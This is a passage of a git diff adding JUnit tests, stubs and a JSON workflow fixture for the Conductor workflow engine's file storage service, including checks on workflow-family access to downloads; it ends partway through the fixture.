assertEquals("workflow-1", context.getWorkflowInstanceId()); + assertEquals("task-1", context.getTaskId()); + assertEquals(3, context.getRetryCount()); + assertEquals(5, context.getPollCount()); + assertEquals(10, context.getCallbackAfterSeconds()); + + context.setCallbackAfter(20); + assertEquals(20, context.getTaskResult().getCallbackAfterSeconds()); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/FileStorageServiceImplTest.java b/core/src/test/java/org/conductoross/conductor/core/storage/FileStorageServiceImplTest.java new file mode 100644 index 0000000..9a9429b --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/FileStorageServiceImplTest.java @@ -0,0 +1,318 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Instant; +import java.util.List; +import java.util.Set; +import java.util.UUID; + +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileDownloadUrlResponse; +import org.conductoross.conductor.model.file.FileHandle; +import org.conductoross.conductor.model.file.FileIdToFileHandleIdConverter; +import org.conductoross.conductor.model.file.FileUploadCompleteResponse; +import org.conductoross.conductor.model.file.FileUploadRequest; +import org.conductoross.conductor.model.file.FileUploadResponse; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.FileUploadUrlResponse; +import org.conductoross.conductor.model.file.MultipartInitResponse; +import org.conductoross.conductor.model.file.StorageType; +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.core.exception.AccessForbiddenException; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; + +import static org.junit.Assert.*; + +public class FileStorageServiceImplTest { + + private StubFileStorage fileStorage; + private StubFileMetadataDAO fileMetadataDAO; + private FileStorageProperties properties; + private FileStorageServiceImpl service; + + private static final String WORKFLOW_ID = "wf-test"; + + @Before + public void setUp() { + fileStorage = new StubFileStorage(); + fileMetadataDAO = new StubFileMetadataDAO(); + properties = new FileStorageProperties(); + service = + new FileStorageServiceImpl( + fileStorage, fileMetadataDAO, properties, new StubWorkflowFamilyResolver()); + } + + @Test + public void testCreateFile() { + FileUploadRequest request = newRequest("report.pdf", "application/pdf"); + + FileUploadResponse response = service.createFile(request); + + assertNotNull(response.getFileHandleId()); + assertTrue(response.getFileHandleId().startsWith(FileIdToFileHandleIdConverter.PREFIX)); + assertEquals("report.pdf", response.getFileName()); + assertEquals("application/pdf", response.getContentType()); + assertEquals(StorageType.LOCAL, response.getStorageType()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertNotNull(response.getUploadUrl()); + assertTrue(response.getUploadUrlExpiresAt() > 0); + assertTrue(response.getCreatedAt() > 0); + } + + @Test + public void testGetUploadUrl() { + String fileId = createTestFileId(); + FileUploadUrlResponse response = service.getUploadUrl(fileId); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertNotNull(response.getUploadUrl()); + assertTrue(response.getExpiresAt() > 0); + } + + @Test(expected = NotFoundException.class) + public void testGetUploadUrlNotFound() { + service.getUploadUrl("nonexistent"); + } + + @Test + public void testConfirmUpload() { + String fileId = createTestFileId(); + simulateFileOnStorage(fileId); + + FileUploadCompleteResponse response = service.confirmUpload(fileId); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertEquals(FileUploadStatus.UPLOADED, response.getUploadStatus()); + } + + @Test(expected = ConflictException.class) + public void testConfirmUploadAlreadyUploaded() { + String fileId = createTestFileId(); + simulateFileOnStorage(fileId); + + service.confirmUpload(fileId); + service.confirmUpload(fileId); + } + + @Test(expected = NonTransientException.class) + public void testConfirmUploadFileNotOnStorage() { + String fileId = createTestFileId(); + service.confirmUpload(fileId); + } + + @Test + public void testGetDownloadUrl() { + String fileId = createTestFileId(); + simulateFileOnStorage(fileId); + service.confirmUpload(fileId); + + FileDownloadUrlResponse response = service.getDownloadUrl(fileId, WORKFLOW_ID); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertNotNull(response.getDownloadUrl()); + assertTrue(response.getExpiresAt() > 0); + } + + @Test(expected = IllegalArgumentException.class) + public void testGetDownloadUrlNotUploaded() { + String fileId = createTestFileId(); + service.getDownloadUrl(fileId, WORKFLOW_ID); + } + + // ── Upload enforcement ──────────────────────────────────────────────────── + + @Test(expected = IllegalArgumentException.class) + public void testCreateFileRequiresWorkflowId() { + FileUploadRequest request = new FileUploadRequest(); + request.setFileName("f.pdf"); + request.setContentType("application/pdf"); + // workflowId intentionally omitted + service.createFile(request); + } + + // ── Download enforcement ────────────────────────────────────────────────── + + @Test(expected = AccessForbiddenException.class) + public void testDownloadForbiddenWhenFileHasNoWorkflowId() { + String fileId = UUID.randomUUID().toString(); + FileModel model = uploadedModelWithNoWorkflowId(fileId); + fileMetadataDAO.createFileMetadata(model); + fileStorage.putFile(model.getStoragePath(), new byte[] {1}); + + service.getDownloadUrl(fileId, WORKFLOW_ID); + } + + @Test(expected = AccessForbiddenException.class) + public void testDownloadForbiddenWhenCallerNotInFamily() { + String fileId = createTestFileId(); + simulateFileOnStorage(fileId); + service.confirmUpload(fileId); + + service.getDownloadUrl(fileId, "unrelated-workflow"); + } + + @Test + public void testDownloadAllowedForFamilyMember() { + // StubWorkflowFamilyResolver includes WORKFLOW_ID in the family + String fileId = createTestFileId(); + simulateFileOnStorage(fileId); + service.confirmUpload(fileId); + + FileDownloadUrlResponse response = service.getDownloadUrl(fileId, WORKFLOW_ID); + assertNotNull(response.getDownloadUrl()); + } + + @Test + public void testDownloadAllowedForChildWorkflowAccessingParentFile() { + // File owned by the parent; child workflow requests it. + // Resolver says child's family = {child, parent} → access granted. + String parentId = "wf-parent"; + String childId = "wf-child"; + FileStorageServiceImpl svc = + new FileStorageServiceImpl( + fileStorage, + fileMetadataDAO, + properties, + wfId -> wfId.equals(childId) ? Set.of(childId, parentId) : Set.of(wfId)); + + FileUploadResponse created = + svc.createFile(newRequestWithWorkflow("parent-file.bin", parentId)); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + simulateFileOnStorage(fileId); + svc.confirmUpload(fileId); + + FileDownloadUrlResponse response = svc.getDownloadUrl(fileId, childId); + assertNotNull(response.getDownloadUrl()); + } + + @Test + public void testDownloadAllowedForParentWorkflowAccessingChildFile() { + // File owned by the child; parent workflow requests it. + // Resolver says parent's family = {parent, child} → access granted. + String parentId = "wf-parent"; + String childId = "wf-child"; + FileStorageServiceImpl svc = + new FileStorageServiceImpl( + fileStorage, + fileMetadataDAO, + properties, + wfId -> wfId.equals(parentId) ? Set.of(parentId, childId) : Set.of(wfId)); + + FileUploadResponse created = + svc.createFile(newRequestWithWorkflow("child-file.bin", childId)); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + simulateFileOnStorage(fileId); + svc.confirmUpload(fileId); + + FileDownloadUrlResponse response = svc.getDownloadUrl(fileId, parentId); + assertNotNull(response.getDownloadUrl()); + } + + @Test + public void testGetFileMetadata() { + String fileId = createTestFileId(); + + FileHandle handle = service.getFileMetadata(fileId); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), handle.getFileHandleId()); + assertEquals("report.pdf", handle.getFileName()); + assertEquals(StorageType.LOCAL, handle.getStorageType()); + } + + @Test(expected = NotFoundException.class) + public void testGetFileMetadataNotFound() { + service.getFileMetadata("nonexistent"); + } + + @Test + public void testInitiateMultipartUpload() { + String fileId = createTestFileId(); + MultipartInitResponse response = service.initiateMultipartUpload(fileId); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertNotNull(response.getUploadId()); + } + + @Test + public void testGetPartUploadUrl() { + String fileId = createTestFileId(); + FileUploadUrlResponse response = service.getPartUploadUrl(fileId, "upload-123", 1); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertNotNull(response.getUploadUrl()); + assertTrue(response.getExpiresAt() > 0); + } + + @Test + public void testCompleteMultipartUpload() { + String fileId = createTestFileId(); + FileUploadCompleteResponse response = + service.completeMultipartUpload(fileId, "upload-123", List.of("etag1", "etag2")); + + assertEquals( + FileIdToFileHandleIdConverter.toFileHandleId(fileId), response.getFileHandleId()); + assertEquals(FileUploadStatus.UPLOADED, response.getUploadStatus()); + } + + private String createTestFileId() { + FileUploadResponse created = + service.createFile(newRequest("report.pdf", "application/pdf")); + return FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + } + + private FileUploadRequest newRequest(String name, String contentType) { + FileUploadRequest request = new FileUploadRequest(); + request.setFileName(name); + request.setContentType(contentType); + request.setWorkflowId(WORKFLOW_ID); + return request; + } + + private FileUploadRequest newRequestWithWorkflow(String name, String workflowId) { + FileUploadRequest request = new FileUploadRequest(); + request.setFileName(name); + request.setContentType("application/octet-stream"); + request.setWorkflowId(workflowId); + return request; + } + + private void simulateFileOnStorage(String fileId) { + String storagePath = fileMetadataDAO.getFileMetadata(fileId).getStoragePath(); + fileStorage.putFile(storagePath, new byte[] {1, 2, 3}); + } + + private FileModel uploadedModelWithNoWorkflowId(String fileId) { + FileModel model = new FileModel(); + model.setFileId(fileId); + model.setFileName("test.bin"); + model.setContentType("application/octet-stream"); + model.setStorageType(StorageType.LOCAL); + model.setStoragePath("files/" + fileId + "/test.bin"); + model.setUploadStatus(FileUploadStatus.UPLOADED); + model.setWorkflowId(null); + model.setCreatedAt(Instant.now()); + model.setUpdatedAt(Instant.now()); + return model; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/StubFileMetadataDAO.java b/core/src/test/java/org/conductoross/conductor/core/storage/StubFileMetadataDAO.java new file mode 100644 index 0000000..adf396a --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/StubFileMetadataDAO.java @@ -0,0 +1,73 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Instant; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; + +public class StubFileMetadataDAO implements FileMetadataDAO { + + private final Map store = new ConcurrentHashMap<>(); + + @Override + public void createFileMetadata(FileModel fileModel) { + store.put(fileModel.getFileId(), fileModel); + } + + @Override + public FileModel getFileMetadata(String fileId) { + return store.get(fileId); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + FileModel model = store.get(fileId); + if (model != null) { + model.setUploadStatus(status); + model.setUpdatedAt(Instant.now()); + } + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + FileModel model = store.get(fileId); + if (model != null) { + model.setUploadStatus(status); + model.setStorageContentHash(contentHash); + model.setStorageContentSize(contentSize); + model.setUpdatedAt(Instant.now()); + } + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + return store.values().stream() + .filter(m -> workflowId.equals(m.getWorkflowId())) + .collect(Collectors.toList()); + } + + @Override + public List getFilesByTaskId(String taskId) { + return store.values().stream() + .filter(m -> taskId.equals(m.getTaskId())) + .collect(Collectors.toList()); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/StubFileStorage.java b/core/src/test/java/org/conductoross/conductor/core/storage/StubFileStorage.java new file mode 100644 index 0000000..440526a --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/StubFileStorage.java @@ -0,0 +1,74 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Duration; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.conductoross.conductor.model.file.StorageType; + +public class StubFileStorage implements FileStorage { + + private final Map files = new ConcurrentHashMap<>(); + + @Override + public StorageType getStorageType() { + return StorageType.LOCAL; + } + + @Override + public String generateUploadUrl(String storagePath, Duration expiration) { + return "stub://upload/" + storagePath; + } + + @Override + public String generateDownloadUrl(String storagePath, Duration expiration) { + return "stub://download/" + storagePath; + } + + @Override + public StorageFileInfo getStorageFileInfo(String storagePath) { + if (!files.containsKey(storagePath)) { + return null; + } + byte[] data = files.get(storagePath); + StorageFileInfo info = new StorageFileInfo(); + info.setExists(true); + info.setContentHash(null); + info.setContentSize(data.length); + return info; + } + + @Override + public String initiateMultipartUpload(String storagePath) { + return "stub-upload-id"; + } + + @Override + public String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration) { + return "stub://part/" + storagePath + "/" + partNumber; + } + + @Override + public void completeMultipartUpload( + String storagePath, String uploadId, List partETags) { + files.putIfAbsent(storagePath, new byte[0]); + } + + public void putFile(String storagePath, byte[] data) { + files.put(storagePath, data); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/StubWorkflowFamilyResolver.java b/core/src/test/java/org/conductoross/conductor/core/storage/StubWorkflowFamilyResolver.java new file mode 100644 index 0000000..a2565fe --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/StubWorkflowFamilyResolver.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.util.HashSet; +import java.util.Set; + +/** + * Test stub for {@link WorkflowFamilyResolver}. Returns a family containing only the queried + * workflowId itself — simulating a workflow with no relatives. + */ +class StubWorkflowFamilyResolver implements WorkflowFamilyResolver { + + @Override + public Set getFamily(String workflowId) { + if (workflowId == null) return Set.of(); + return new HashSet<>(Set.of(workflowId)); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverTest.java b/core/src/test/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverTest.java new file mode 100644 index 0000000..8025e62 --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverTest.java @@ -0,0 +1,114 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +public class WorkflowFamilyResolverTest { + + private ExecutionDAO executionDAO; + private WorkflowFamilyResolverImpl resolver; + + @Before + public void setUp() { + executionDAO = mock(ExecutionDAO.class); + resolver = new WorkflowFamilyResolverImpl(executionDAO); + } + + @Test + public void testNullWorkflowIdReturnsEmptySet() { + Set family = resolver.getFamily(null); + assertTrue(family.isEmpty()); + } + + @Test + public void testWorkflowNotFoundReturnsSelfOnly() { + when(executionDAO.getWorkflow(eq("missing"), anyBoolean())).thenReturn(null); + + Set family = resolver.getFamily("missing"); + assertEquals(Set.of("missing"), family); + } + + @Test + public void testSingleWorkflowNoParentNoChildren() { + stubWorkflow("wf-a", null); + + Set family = resolver.getFamily("wf-a"); + assertEquals(Set.of("wf-a"), family); + } + + @Test + public void testWorkflowWithParent() { + stubWorkflow("wf-child", "wf-parent"); + stubWorkflow("wf-parent", null); + + Set family = resolver.getFamily("wf-child"); + assertEquals(Set.of("wf-child", "wf-parent"), family); + } + + @Test + public void testWorkflowWithGrandparent() { + stubWorkflow("wf-gc", "wf-child"); + stubWorkflow("wf-child", "wf-parent"); + stubWorkflow("wf-parent", null); + + Set family = resolver.getFamily("wf-gc"); + assertEquals(Set.of("wf-gc", "wf-child", "wf-parent"), family); + } + + @Test + public void testWorkflowWithTwoChildren() { + stubWorkflowWithSubWorkflowTasks("wf-parent", null, "wf-c1", "wf-c2"); + stubWorkflow("wf-c1", "wf-parent"); + stubWorkflow("wf-c2", "wf-parent"); + + Set family = resolver.getFamily("wf-parent"); + assertEquals(Set.of("wf-parent", "wf-c1", "wf-c2"), family); + } + + @Test + public void testWorkflowWithGrandchildren() { + stubWorkflowWithSubWorkflowTasks("wf-parent", null, "wf-child"); + stubWorkflowWithSubWorkflowTasks("wf-child", "wf-parent", "wf-gc"); + stubWorkflow("wf-gc", "wf-child"); + + Set family = resolver.getFamily("wf-parent"); + assertEquals(Set.of("wf-parent", "wf-child", "wf-gc"), family); + } + + private void stubWorkflow(String id, String parentId) { + stubWorkflowWithSubWorkflowTasks(id, parentId); + } + + private void stubWorkflowWithSubWorkflowTasks(String id, String parentId, String... childIds) { + WorkflowModel wf = new WorkflowModel(); + wf.setWorkflowId(id); + wf.setParentWorkflowId(parentId); + for (String childId : childIds) { + TaskModel task = new TaskModel(); + task.setSubWorkflowId(childId); + wf.getTasks().add(task); + } + when(executionDAO.getWorkflow(eq(id), anyBoolean())).thenReturn(wf); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/storage/converter/FileModelConverterTest.java b/core/src/test/java/org/conductoross/conductor/core/storage/converter/FileModelConverterTest.java new file mode 100644 index 0000000..e6f9f57 --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/storage/converter/FileModelConverterTest.java @@ -0,0 +1,95 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage.converter; + +import java.time.Instant; + +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.*; +import org.junit.Test; + +import static org.junit.Assert.*; + +public class FileModelConverterTest { + + @Test + public void testToFileModel() { + FileUploadRequest request = new FileUploadRequest(); + request.setFileName("doc.pdf"); + request.setContentType("application/pdf"); + request.setWorkflowId("wf-1"); + request.setTaskId("task-1"); + + FileModel model = + FileModelConverter.toFileModel(request, "abc", "files/abc/doc.pdf", StorageType.S3); + + assertEquals("abc", model.getFileId()); + assertEquals("doc.pdf", model.getFileName()); + assertEquals("application/pdf", model.getContentType()); + assertEquals(StorageType.S3, model.getStorageType()); + assertEquals("files/abc/doc.pdf", model.getStoragePath()); + assertEquals(FileUploadStatus.UPLOADING, model.getUploadStatus()); + assertEquals("wf-1", model.getWorkflowId()); + assertEquals("task-1", model.getTaskId()); + assertNotNull(model.getCreatedAt()); + assertNotNull(model.getUpdatedAt()); + } + + @Test + public void testToFileHandleDoesNotExposeStoragePath() { + Instant now = Instant.now(); + FileModel model = new FileModel(); + model.setFileId("abc"); + model.setFileName("doc.pdf"); + model.setContentType("application/pdf"); + model.setStorageContentHash("hash123"); + model.setStorageType(StorageType.S3); + model.setUploadStatus(FileUploadStatus.UPLOADED); + model.setStoragePath("files/abc/doc.pdf"); + model.setWorkflowId("wf-1"); + model.setCreatedAt(now); + model.setUpdatedAt(now); + + FileHandle handle = FileModelConverter.toFileHandle(model); + + assertEquals(FileIdToFileHandleIdConverter.PREFIX + "abc", handle.getFileHandleId()); + assertEquals("doc.pdf", handle.getFileName()); + assertEquals("hash123", handle.getContentHash()); + assertEquals(StorageType.S3, handle.getStorageType()); + assertEquals("wf-1", handle.getWorkflowId()); + assertEquals(now.toEpochMilli(), handle.getCreatedAt()); + assertEquals(now.toEpochMilli(), handle.getUpdatedAt()); + } + + @Test + public void testToFileUploadResponse() { + Instant now = Instant.now(); + FileModel model = new FileModel(); + model.setFileId("abc"); + model.setFileName("doc.pdf"); + model.setContentType("application/pdf"); + model.setStorageType(StorageType.S3); + model.setUploadStatus(FileUploadStatus.UPLOADING); + model.setCreatedAt(now); + + long expiry = Instant.now().plusSeconds(60).toEpochMilli(); + FileUploadResponse response = + FileModelConverter.toFileUploadResponse(model, "https://s3/presigned", expiry); + + assertEquals(FileIdToFileHandleIdConverter.PREFIX + "abc", response.getFileHandleId()); + assertEquals("https://s3/presigned", response.getUploadUrl()); + assertEquals(expiry, response.getUploadUrlExpiresAt()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertEquals(now.toEpochMilli(), response.getCreatedAt()); + } +} diff --git a/core/src/test/resources/completed.json b/core/src/test/resources/completed.json new file mode 100644 index 0000000..38baf37 --- /dev/null +++ b/core/src/test/resources/completed.json @@ -0,0 +1,3788 @@ +{ + "ownerApp": "cpeworkflowtests", + "createTime": 1547430586952, + "updateTime": 1547430613550, + "status": "COMPLETED", + "endTime": 1547430613550, + "workflowId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "tasks": [ + { + "taskType": "perf_task_1", + "status": "COMPLETED", + "inputData": { + "mod": "0", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_1", + "retryCount": 0, + "seq": 1, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_1", + "scheduledTime": 1547430586967, + "startTime": 1547430589848, + "endTime": 1547430589873, + "updateTime": 1547430613560, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "485fdbdf-9f49-4879-9471-4722225e5613", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-0618a1a5e9526c9a1", + "outputData": { + "mod": "8", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_1", + "taskReferenceName": "perf_task_1", + "inputParameters": { + "mod": "workflow.input.mod", + "oddEven": "workflow.input.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389709, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_1", + "description": "perf_task_1", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 2881, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:49:867 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_1,1", + "01/14/19, 01:49:49:867 : Starting to execute perf_task_1, id=485fdbdf-9f49-4879-9471-4722225e5613", + "01/14/19, 01:49:49:867 : failure probability is 0.3066777 against 0.0", + "01/14/19, 01:49:49:868 : Marking task completed" + ] + }, + { + "taskType": "perf_task_10", + "status": "COMPLETED", + "inputData": { + "taskToExecute": "perf_task_10" + }, + "referenceTaskName": "perf_task_2", + "retryCount": 0, + "seq": 2, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_10", + "scheduledTime": 1547430589900, + "startTime": 1547430590465, + "endTime": 1547430590499, + "updateTime": 1547430613572, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "14988072-378d-4b6c-a596-09db9c88c5d1", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-07f2166099c597efe", + "outputData": { + "mod": "0", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_10", + "taskReferenceName": "perf_task_2", + "inputParameters": { + "taskToExecute": "workflow.input.task2Name" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389226, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_10", + "description": "perf_task_10", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 